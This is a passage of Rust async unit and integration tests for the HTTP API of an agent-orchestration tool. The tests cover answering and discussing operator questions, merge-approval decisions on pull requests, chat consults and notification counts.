11709                pr: "https://example.test/pull/1".into(),
11710                head: "head-a".into(),
11711                language: "en".into(),
11712            });
11713            ui.questions.put(&mut q).unwrap();
11714            let answer = |c: &str| {
11715                question_answer(
11716                    State(ui.clone()),
11717                    Path(q.id.clone()),
11718                    Ok(Json(
11719                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
11720                            .unwrap(),
11721                    )),
11722                )
11723            };
11724            let _ = answer(choice).await.unwrap();
11725            assert_eq!(
11726                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11727                Some(choice)
11728            );
11729        }
11730    }
11731
11732    #[tokio::test]
11733    async fn a_routed_decision_is_refused_on_the_question_route() {
11734        let home = TempDir::new().unwrap();
11735        let ui = Arc::new(Ui::new(
11736            Queue::at(home.path().join("queue")),
11737            Questions::at(home.path().join("questions")),
11738            Talks::at(home.path().join("talks")),
11739            home.path().join("runs"),
11740            home.path().to_owned(),
11741            home.path().to_owned(),
11742        ));
11743        let mut q = Question::new(
11744            "run".into(),
11745            crate::github_text::ASK_NODE.into(),
11746            "posting-gate".into(),
11747            "Post?".into(),
11748            String::new(),
11749            vec!["use fallback".into()],
11750        );
11751        q.routed_task = Some("task".into());
11752        ui.questions.put(&mut q).unwrap();
11753        let sent = question_answer(
11754            State(ui.clone()),
11755            Path(q.id.clone()),
11756            Ok(Json(
11757                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
11758                    .unwrap(),
11759            )),
11760        )
11761        .await;
11762        assert!(sent.is_err());
11763        assert!(ui.questions.get(&q.id).unwrap().status.open());
11764    }
11765
11766    #[tokio::test]
11767    async fn merge_decision_api_persists_exact_target_and_selected_action() {
11768        let fx = Fixture {
11769            home: TempDir::new().unwrap(),
11770            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11771        };
11772        for choice in [
11773            crate::land::HOLD,
11774            crate::land::REPAIR,
11775            crate::land::APPROVE,
11776            crate::merge_decision::WITHDRAW,
11777            "reimplement:beta",
11778        ] {
11779            let mut q = Question::new(
11780                "old-run".into(),
11781                crate::land::APPROVAL_NODE.into(),
11782                "land".into(),
11783                "Decision".into(),
11784                "Review findings".into(),
11785                vec![
11786                    "merge".into(),
11787                    "hold".into(),
11788                    crate::land::REPAIR.into(),
11789                    crate::merge_decision::WITHDRAW.into(),
11790                    "reimplement:beta".into(),
11791                ],
11792            );
11793            q.merge_target = Some(crate::merge_decision::Target {
11794                pr: "https://github.com/example/repo/pull/42".into(),
11795                head: "exact-reviewed-head".into(),
11796                language: "ja".into(),
11797            });
11798            q.consult = Some(ask::ChatConsult {
11799                talk: "another-conversation".into(),
11800                at: jiff::Timestamp::now(),
11801            });
11802            fx.questions().put(&mut q).unwrap();
11803            let ui = Arc::new(Ui::new(
11804                fx.queue(),
11805                fx.questions(),
11806                fx.talks(),
11807                fx.runs(),
11808                fx.home.path().into(),
11809                std::path::PathBuf::from("."),
11810            ));
11811            let response = question_answer(
11812                State(ui.clone()),
11813                Path(q.id.clone()),
11814                Ok(Json(NewAnswer {
11815                    choice: Some(choice.into()),
11816                    text: None,
11817                    ..Default::default()
11818                })),
11819            )
11820            .await
11821            .unwrap();
11822            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11823            let disk = fx.questions().get(&q.id).unwrap();
11824            assert_eq!(disk.merge_target, q.merge_target);
11825            assert_eq!(disk.consult, q.consult);
11826            assert!(
11827                disk.answer_authority.is_none(),
11828                "a direct owner card is its own decision"
11829            );
11830            assert_eq!(disk.resolution().as_deref(), Some(choice));
11831            assert!(
11832                question_answer(
11833                    State(ui),
11834                    Path(q.id.clone()),
11835                    Ok(Json(NewAnswer {
11836                        choice: Some("merge".into()),
11837                        text: None,
11838                        ..Default::default()
11839                    }))
11840                )
11841                .await
11842                .is_err(),
11843                "an already settled decision cannot turn into merge approval"
11844            );
11845        }
11846    }
11847
11848    #[tokio::test]
11849    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11850        let fx = Fixture {
11851            home: TempDir::new().unwrap(),
11852            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11853        };
11854        let mut state = crate::land::tests::repair_state(true, true);
11855        state.status = RunStatus::Landing;
11856        state.parked = true;
11857        state.driver_exited = true;
11858        let mut task = Task::new(
11859            "Existing PR owner".into(),
11860            state.instruction.clone(),
11861            state.repo.clone(),
11862            Source::Human,
11863        );
11864        task.runs.push(state.id.clone());
11865        task.status = TaskStatus::Parked;
11866        fx.queue().put(&mut task).unwrap();
11867        let mut q = Question::new(
11868            state.id.clone(),
11869            crate::land::APPROVAL_NODE.into(),
11870            "land".into(),
11871            "Contested merge".into(),
11872            "Original evidence".into(),
11873            vec!["merge".into(), "hold".into()],
11874        );
11875        state.land_approval = Some(crate::run::LandApproval {
11876            question: q.id.clone(),
11877            head: "reviewed-head".into(),
11878        });
11879        state.save_under(fx.home.path()).unwrap();
11880        fx.questions().put(&mut q).unwrap();
11881        // A later repair answer on this old card supersedes this manual hold.
11882        task.hold_manual(Some("Pause this PR".into()));
11883        fx.queue().put(&mut task).unwrap();
11884        // POST directly, without a preceding GET: validation must see the
11885        // same durable upgrade that the card, CLI and chat see.
11886        let ui = Arc::new(Ui::new(
11887            fx.queue(),
11888            fx.questions(),
11889            fx.talks(),
11890            fx.runs(),
11891            fx.home.path().to_path_buf(),
11892            state.repo.clone(),
11893        ));
11894        let response = question_answer(
11895            State(ui),
11896            Path(q.id.clone()),
11897            Ok(Json(NewAnswer {
11898                choice: Some(crate::land::REPAIR.into()),
11899                text: None,
11900                ..Default::default()
11901            })),
11902        )
11903        .await
11904        .unwrap();
11905        assert_eq!(response.0.question.id, q.id);
11906        let upgraded = fx.questions().get(&q.id).unwrap();
11907        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11908        assert!(upgraded.detail.starts_with("Original evidence"));
11909        let claim = fx.queue().claim(&task.id).unwrap();
11910        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11911        assert!(
11912            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11913            "an existing driver keeps its claim"
11914        );
11915        drop(claim);
11916        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11917        let resumed = fx.queue().get(&task.id).unwrap();
11918        assert_eq!(
11919            resumed
11920                .resume_override
11921                .as_ref()
11922                .unwrap()
11923                .pinned_run
11924                .as_deref(),
11925            Some(state.id.as_str())
11926        );
11927        assert!(resumed.status.runnable());
11928        assert_eq!(resumed.instruction, task.instruction);
11929        assert_eq!(resumed.runs, task.runs);
11930        assert!(resumed.action_applied(&q.id));
11931        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11932        assert_eq!(fx.queue().list().len(), 1);
11933        assert_eq!(
11934            fx.queue().get(&task.id).unwrap().resume_override,
11935            resumed.resume_override
11936        );
11937        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11938        assert!(
11939            disk.merge_repairs.is_empty(),
11940            "only the claimed run driver may execute repair"
11941        );
11942        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11943    }
11944
11945    #[tokio::test]
11946    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11947        let fx = Fixture::start().await;
11948        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11949        let path = format!("/api/questions/{id}/answer");
11950
11951        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11952        assert_eq!(res.status, 200, "{}", res.body);
11953        let body = res.json();
11954        assert_eq!(body["status"], "answered");
11955        assert_eq!(body["answer"]["choice"], "Redis");
11956
11957        // Answered from the terminal in between the list and the tap: the UI
11958        // must be able to tell this from a bad request, so it can show the
11959        // recorded answer instead of an error.
11960        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11961        assert_eq!(again.status, 409, "{}", again.body);
11962        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11963    }
11964
11965    #[tokio::test]
11966    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11967        let home = tempfile::tempdir().unwrap();
11968        let ui = delta_test_ui(home.path());
11969        let mut q = Question::new(
11970            "task".into(),
11971            crate::land::APPROVAL_NODE.into(),
11972            "land".into(),
11973            "Explain?".into(),
11974            String::new(),
11975            vec!["hold".into()],
11976        );
11977        q.deputy = Some(ask::Deputy::new("context".into()));
11978        ui.questions.put(&mut q).unwrap();
11979        let mut cfg = stub_config();
11980        cfg.daemon.max_deputies = 0;
11981        let mut status = crate::daemon::Status::new();
11982        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11983        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11984        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11985        let error = question_say(
11986            State(ui.clone()),
11987            Path(q.id.clone()),
11988            Ok(Json(NewSay {
11989                body: "Explain the findings".into(),
11990            })),
11991        )
11992        .await
11993        .unwrap_err();
11994        assert_eq!(
11995            error.text_reason,
11996            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11997        );
11998        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11999
12000        let mut text = Question::new(
12001            "task".into(),
12002            "ask".into(),
12003            "operator".into(),
12004            "Which name?".into(),
12005            String::new(),
12006            vec![],
12007        );
12008        ui.questions.put(&mut text).unwrap();
12009        let Json(view) = question_answer(
12010            State(ui.clone()),
12011            Path(text.id.clone()),
12012            Ok(Json(NewAnswer {
12013                choice: None,
12014                text: Some("chosen name".into()),
12015                ..Default::default()
12016            })),
12017        )
12018        .await
12019        .unwrap();
12020        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12021        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12022    }
12023
12024    #[tokio::test]
12025    async fn question_text_handler_admission_without_transport() {
12026        let home = tempfile::tempdir().unwrap();
12027        let ui = delta_test_ui(home.path());
12028        let mut q = Question::new(
12029            "task".into(),
12030            crate::land::APPROVAL_NODE.into(),
12031            "land".into(),
12032            "May this PR merge?".into(),
12033            String::new(),
12034            vec!["hold".into()],
12035        );
12036        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12037        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12038        ui.questions.put(&mut q).unwrap();
12039        let say = || {
12040            Ok(Json(NewSay {
12041                body: "Explain the findings".into(),
12042            }))
12043        };
12044        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12045            .await
12046            .unwrap_err();
12047        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12048        let response = rejected.into_response();
12049        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12050            .await
12051            .unwrap();
12052        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12053        assert_eq!(body["code"], "question_text_unavailable");
12054        assert_eq!(body["reason"], "deputy_exhausted");
12055        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12056        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12057        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12058        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12059            .await
12060            .unwrap();
12061        assert_eq!(view.text_delivery.state, "live");
12062        assert!(view.question.waiter.is_none());
12063        assert!(view.question.cwd.is_none());
12064        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12065        ui.questions.drop_lease(&q.id);
12066        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12067            .await
12068            .unwrap_err();
12069        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12070        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12071        let _ = question_answer(
12072            State(ui.clone()),
12073            Path(q.id.clone()),
12074            Ok(Json(NewAnswer {
12075                choice: Some("hold".into()),
12076                text: None,
12077                ..Default::default()
12078            })),
12079        )
12080        .await
12081        .unwrap();
12082        assert_eq!(
12083            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12084            Some("hold")
12085        );
12086    }
12087
12088    #[tokio::test]
12089    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12090        let fx = Fixture::start().await;
12091        let store = fx.questions();
12092        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12093        store
12094            .update(&id, |q| {
12095                q.node = crate::land::APPROVAL_NODE.to_owned();
12096                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12097                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12098                Ok(())
12099            })
12100            .unwrap();
12101        let path = format!("/api/questions/{id}/say");
12102        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12103        assert_eq!(refused.status, 422, "{}", refused.body);
12104        assert!(
12105            refused.json()["error"]
12106                .as_str()
12107                .unwrap()
12108                .contains("deputy_exhausted")
12109        );
12110        assert!(store.get(&id).unwrap().thread.is_empty());
12111
12112        // A final live deputy is usable even with no ordinary waiter/cwd.
12113        store.beat(&id, ask::WaiterKind::Deputy);
12114        let view = fx.get("/api/questions").await.json();
12115        assert_eq!(view[0]["text_delivery"]["state"], "live");
12116        let accepted = fx
12117            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12118            .await;
12119        assert_eq!(accepted.status, 200, "{}", accepted.body);
12120        let before = std::fs::read(store.path_of(&id)).unwrap();
12121
12122        // The recipient exits between rendering and sending. Rejection must
12123        // preserve previously accepted text, the answer and delivery cursor.
12124        store.drop_lease(&id);
12125        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12126        assert_eq!(refused.status, 422, "{}", refused.body);
12127        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12128        let held = fx
12129            .post(
12130                &format!("/api/questions/{id}/answer"),
12131                Some(r#"{"choice":"hold"}"#),
12132            )
12133            .await;
12134        assert_eq!(held.status, 200, "{}", held.body);
12135        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12136    }
12137
12138    #[tokio::test]
12139    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12140        let repo = tempfile::tempdir().unwrap();
12141        let mut cfg = stub_config();
12142        cfg.daemon.max_deputies = 0;
12143        std::fs::write(
12144            repo.path().join("magi.toml"),
12145            toml::to_string(&cfg).unwrap(),
12146        )
12147        .unwrap();
12148        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12149        let mut status = crate::daemon::Status::new();
12150        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12151        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12152        let id = ask(&fx, "Explain?", &["hold"]);
12153        fx.questions()
12154            .update(&id, |q| {
12155                q.node = crate::land::APPROVAL_NODE.into();
12156                q.deputy = Some(ask::Deputy::new("context".into()));
12157                q.deputy.as_mut().unwrap().agent = "stub".into();
12158                Ok(())
12159            })
12160            .unwrap();
12161        cfg.daemon.max_deputies = 1;
12162        std::fs::write(
12163            repo.path().join("magi.toml"),
12164            toml::to_string(&cfg).unwrap(),
12165        )
12166        .unwrap();
12167        let view = fx.get("/api/questions").await.json();
12168        assert_eq!(view[0]["deputies_enabled"], true);
12169        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12170        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12171        let res = fx
12172            .post(
12173                &format!("/api/questions/{id}/say"),
12174                Some(r#"{"body":"Please explain"}"#),
12175            )
12176            .await;
12177        assert_eq!(res.status, 422, "{}", res.body);
12178        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12179    }
12180
12181    #[tokio::test]
12182    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12183        let fx = Fixture::start().await;
12184        let id = ask(&fx, "No seat", &[]);
12185        let store = fx.questions();
12186        let before = std::fs::read(store.path_of(&id)).unwrap();
12187        let res = fx
12188            .post(
12189                &format!("/api/questions/{id}/say"),
12190                Some(r#"{"body":"hello"}"#),
12191            )
12192            .await;
12193        assert_eq!(res.status, 422, "{}", res.body);
12194        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12195        let res = fx
12196            .post(
12197                &format!("/api/questions/{id}/answer"),
12198                Some(r#"{"text":"hello"}"#),
12199            )
12200            .await;
12201        assert_eq!(res.status, 200, "{}", res.body);
12202        assert_eq!(
12203            store.get(&id).unwrap().resolution().as_deref(),
12204            Some("hello")
12205        );
12206    }
12207
12208    #[tokio::test]
12209    async fn saying_something_appends_a_turn_without_answering() {
12210        let fx = Fixture::start().await;
12211        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12212        fx.questions().beat(&id, ask::WaiterKind::Asker);
12213        let path = format!("/api/questions/{id}/say");
12214
12215        let res = fx
12216            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12217            .await;
12218        assert_eq!(res.status, 200, "{}", res.body);
12219        let body = res.json();
12220        assert_eq!(body["status"], "open", "talking back is not a decision");
12221        assert_eq!(body["answer"], Value::Null);
12222        assert_eq!(body["thread"][0]["who"], "operator");
12223        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12224        assert_eq!(body["waiting_on_agent"], true);
12225        // Still open, still counted, still exactly one question.
12226        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12227    }
12228
12229    #[tokio::test]
12230    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12231        let fx = Fixture::start().await;
12232        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12233
12234        let list = fx.get("/api/questions").await.json();
12235        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12236
12237        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12238        assert_eq!(res.status, 409, "{}", res.body);
12239        let q = fx.questions().get(&id).unwrap();
12240        assert!(q.status.open());
12241        assert!(q.consult.is_none());
12242    }
12243
12244    #[tokio::test]
12245    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12246        let fx = Fixture::start().await;
12247        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12248        let cfg = Config {
12249            agents: vec![crate::config::AgentSpec {
12250                id: "mock".to_owned(),
12251                kind: crate::config::AgentKind::Command,
12252                model: None,
12253                command: vec!["true".to_owned()],
12254                extra_args: Vec::new(),
12255                env: Default::default(),
12256                prompt_delivery: None,
12257                max_turn_secs: None,
12258            }],
12259            ..Config::default()
12260        };
12261        let talk = crate::talk::begin(
12262            &fx.talks(),
12263            &cfg,
12264            fx.home.path().to_path_buf(),
12265            Some("mock"),
12266        )
12267        .unwrap();
12268        let mut task = Task::new(
12269            "t".to_owned(),
12270            "Do it".to_owned(),
12271            PathBuf::from("/repo/magi"),
12272            Source::Agent {
12273                run: talk.id.clone(),
12274                node: crate::queue::CHAT_NODE.to_owned(),
12275            },
12276        );
12277        task.start("20260902-000000-beef".to_owned());
12278        fx.queue().put(&mut task).unwrap();
12279
12280        let list = fx.get("/api/questions").await.json();
12281        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12282        assert_eq!(
12283            list[0]["choices"],
12284            serde_json::json!(["SQLite", "Redis"]),
12285            "the hand-over is never a choice"
12286        );
12287        fx.questions()
12288            .update(&id, |q| {
12289                q.node = crate::land::APPROVAL_NODE.into();
12290                q.choices = vec!["merge".into(), "hold".into()];
12291                Ok(())
12292            })
12293            .unwrap();
12294        let list = fx.get("/api/questions").await.json();
12295        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12296        assert_eq!(list[0]["can_consult_chat"], true);
12297        fx.questions()
12298            .update(&id, |q| {
12299                q.node = crate::bump::NOTICE_NODE.into();
12300                Ok(())
12301            })
12302            .unwrap();
12303        let list = fx.get("/api/questions").await.json();
12304        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12305        assert_eq!(list[0]["can_consult_chat"], false);
12306    }
12307
12308    #[tokio::test]
12309    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12310        let fx = Fixture::start().await;
12311        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12312        fx.questions()
12313            .update(&id, |q| {
12314                q.node = crate::land::APPROVAL_NODE.into();
12315                q.choices = vec!["merge".into(), "hold".into()];
12316                Ok(())
12317            })
12318            .unwrap();
12319        let cfg = Config {
12320            agents: vec![crate::config::AgentSpec {
12321                id: "mock".to_owned(),
12322                kind: crate::config::AgentKind::Command,
12323                model: None,
12324                command: vec!["true".to_owned()],
12325                extra_args: Vec::new(),
12326                env: Default::default(),
12327                prompt_delivery: None,
12328                max_turn_secs: None,
12329            }],
12330            ..Config::default()
12331        };
12332        // Not a git working tree, so its `magi.toml` is read from disk.
12333        let repo = fx.home.path().join("chat-repo");
12334        std::fs::create_dir_all(&repo).unwrap();
12335        let toml = repo.join("magi.toml");
12336        std::fs::write(&toml, "this is = = not toml").unwrap();
12337        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12338        let mut task = Task::new(
12339            "t".to_owned(),
12340            "Do it".to_owned(),
12341            PathBuf::from("/repo/magi"),
12342            Source::Agent {
12343                run: talk.id.clone(),
12344                node: crate::queue::CHAT_NODE.to_owned(),
12345            },
12346        );
12347        task.start("20260902-000000-beef".to_owned());
12348        fx.queue().put(&mut task).unwrap();
12349
12350        let path = format!("/api/questions/{id}/consult");
12351        let res = fx.post(&path, None).await;
12352        assert!(res.status >= 400, "{}", res.body);
12353        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12354        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12355
12356        std::fs::write(&toml, "").unwrap();
12357        let res = fx.post(&path, None).await;
12358        assert_eq!(res.status, 202, "{}", res.body);
12359        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12360        let q = fx.questions().get(&id).unwrap();
12361        assert!(q.status.open());
12362        assert!(q.answer.is_none());
12363        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12364        assert_eq!(res.json()["can_consult_chat"], true);
12365        let list = fx.get("/api/questions").await.json();
12366        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12367        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12368
12369        let res = fx
12370            .post(
12371                &format!("/api/questions/{id}/answer"),
12372                Some(r#"{"choice":"hold"}"#),
12373            )
12374            .await;
12375        assert_eq!(res.status, 200, "{}", res.body);
12376        assert_eq!(res.json()["answer"]["choice"], "hold");
12377        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12378        assert_eq!(res.json()["can_consult_chat"], false);
12379        assert_eq!(fx.post(&path, None).await.status, 409);
12380
12381        let mut talk = fx.talks().get(&talk.id).unwrap();
12382        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12383        let list = fx.get("/api/questions").await.json();
12384        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12385        assert_eq!(list[0]["origin_chat_closed"], true);
12386        assert_eq!(list[0]["can_consult_chat"], false);
12387
12388        fx.talks().remove(&talk.id).unwrap();
12389        let list = fx.get("/api/questions").await.json();
12390        assert_eq!(list[0]["origin_chat"], Value::Null);
12391        assert_eq!(list[0]["origin_chat_closed"], false);
12392        assert_eq!(list[0]["can_consult_chat"], false);
12393    }
12394
12395    #[tokio::test]
12396    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12397        let fx = Fixture::start().await;
12398        let store = fx.questions();
12399        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12400        store.beat(&id, ask::WaiterKind::Asker);
12401        assert_eq!(
12402            fx.get("/api/health").await.json()["questions_needs_owner"],
12403            1
12404        );
12405
12406        // The owner asks back instead of deciding: the ask bar, the nav badge
12407        // and the title must stop naming this question, because there is
12408        // nothing to decide until the agent answers - `status` alone cannot
12409        // say that, which is the whole reason `questions_needs_owner` exists
12410        // alongside `questions_open`.
12411        let res = fx
12412            .post(
12413                &format!("/api/questions/{id}/say"),
12414                Some(r#"{"body":"why not Postgres?"}"#),
12415            )
12416            .await;
12417        assert_eq!(res.status, 200, "{}", res.body);
12418        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12419        assert_eq!(
12420            fx.get("/api/health").await.json()["questions_needs_owner"],
12421            0,
12422            "waiting on the agent is not waiting on the owner"
12423        );
12424
12425        // `magi ask --thread` replying is what brings the owner count back -
12426        // the same event that would resume the CLI call blocked in `magi
12427        // ask`.
12428        let mut q = store.get(&id).expect("get");
12429        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12430            .expect("reply");
12431        store.put(&mut q).expect("put");
12432        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12433        assert_eq!(
12434            fx.get("/api/health").await.json()["questions_needs_owner"],
12435            1,
12436            "the agent's reply is what should light the banner back up"
12437        );
12438    }
12439
12440    #[tokio::test]
12441    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12442        let fx = Fixture::start().await;
12443        let store = fx.questions();
12444
12445        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12446        let res = fx
12447            .post(
12448                &format!("/api/questions/{empty_id}/say"),
12449                Some(r#"{"body":"   "}"#),
12450            )
12451            .await;
12452        assert_eq!(res.status, 400, "{}", res.body);
12453
12454        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12455        let mut answered = store.get(&answered_id).expect("get");
12456        answered
12457            .answer(Answer::Choice("SQLite".to_owned()))
12458            .expect("answer");
12459        store.put(&mut answered).expect("put");
12460        let res = fx
12461            .post(
12462                &format!("/api/questions/{answered_id}/say"),
12463                Some(r#"{"body":"still there?"}"#),
12464            )
12465            .await;
12466        assert_eq!(res.status, 409, "{}", res.body);
12467
12468        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12469        let mut abandoned = store.get(&abandoned_id).expect("get");
12470        abandoned.abandon("timed out");
12471        store.put(&mut abandoned).expect("put");
12472        let res = fx
12473            .post(
12474                &format!("/api/questions/{abandoned_id}/say"),
12475                Some(r#"{"body":"still there?"}"#),
12476            )
12477            .await;
12478        assert_eq!(res.status, 409, "{}", res.body);
12479    }
12480
12481    #[tokio::test]
12482    async fn an_answer_the_question_does_not_offer_is_refused() {
12483        let fx = Fixture::start().await;
12484        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12485        let path = format!("/api/questions/{id}/answer");
12486
12487        for body in [
12488            r#"{"choice":"Postgres"}"#,
12489            r#"{"text":"whatever you think"}"#,
12490            r#"{"choice":"Redis","text":"both"}"#,
12491            r#"{}"#,
12492        ] {
12493            let res = fx.post(&path, Some(body)).await;
12494            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12495            assert!(res.json()["error"].is_string(), "{}", res.body);
12496        }
12497        // Nothing above may have answered it.
12498        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12499    }
12500
12501    #[tokio::test]
12502    async fn a_free_text_question_takes_text_and_not_a_choice() {
12503        let fx = Fixture::start().await;
12504        let id = ask(&fx, "What should the flag be called?", &[]);
12505        fx.questions().beat(&id, ask::WaiterKind::Asker);
12506        let path = format!("/api/questions/{id}/answer");
12507
12508        assert_eq!(
12509            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12510            400
12511        );
12512        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12513        assert_eq!(res.status, 200, "{}", res.body);
12514        assert_eq!(res.json()["answer"]["text"], "--json");
12515    }
12516
12517    #[tokio::test]
12518    async fn an_unknown_question_is_a_json_404() {
12519        let fx = Fixture::start().await;
12520        let res = fx
12521            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12522            .await;
12523        assert_eq!(res.status, 404, "{}", res.body);
12524        assert!(res.json()["error"].is_string());
12525    }
12526
12527    #[tokio::test]
12528    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12529        let fx = Fixture::start().await;
12530        let questions = Questions::at(fx.home.path().join("questions"));
12531        let store = Notices::at(fx.home.path().join("notifications"));
12532        let mut q = ask::Question::new(
12533            "t1".into(),
12534            "conduct".into(),
12535            "conductor".into(),
12536            "Continue?".into(),
12537            String::new(),
12538            Vec::new(),
12539        );
12540        questions.put(&mut q).unwrap();
12541        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12542        n.covered_by = Some(q.id.clone());
12543        let n = store.raise(n).unwrap();
12544        let listed = fx.get("/api/notifications").await.json();
12545        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12546        questions
12547            .update(&q.id, |q| {
12548                q.abandon("run gone");
12549                Ok(())
12550            })
12551            .unwrap();
12552        let listed = fx.get("/api/notifications").await.json();
12553        assert!(listed["items"][0]["answerable_question"].is_null());
12554        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12555        assert!(
12556            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12557                .unwrap()
12558                .contains("answerable_question")
12559        );
12560    }
12561
12562    #[tokio::test]
12563    async fn notifications_list_read_dismiss_and_health_agree() {
12564        let fx = Fixture::start().await;
12565        let store = Notices::at(fx.home.path().join("notifications"));
12566        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12567        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12568
12569        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12570        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12571
12572        store
12573            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12574            .unwrap();
12575        let health = fx.get("/api/health").await.json();
12576        assert_eq!(health["notifications_unread"], 2);
12577        assert_ne!(
12578            health["notifications_rev"], rev0,
12579            "the badge must move live"
12580        );
12581
12582        let listed = fx.get("/api/notifications").await.json();
12583        assert_eq!(listed["unread"], 2);
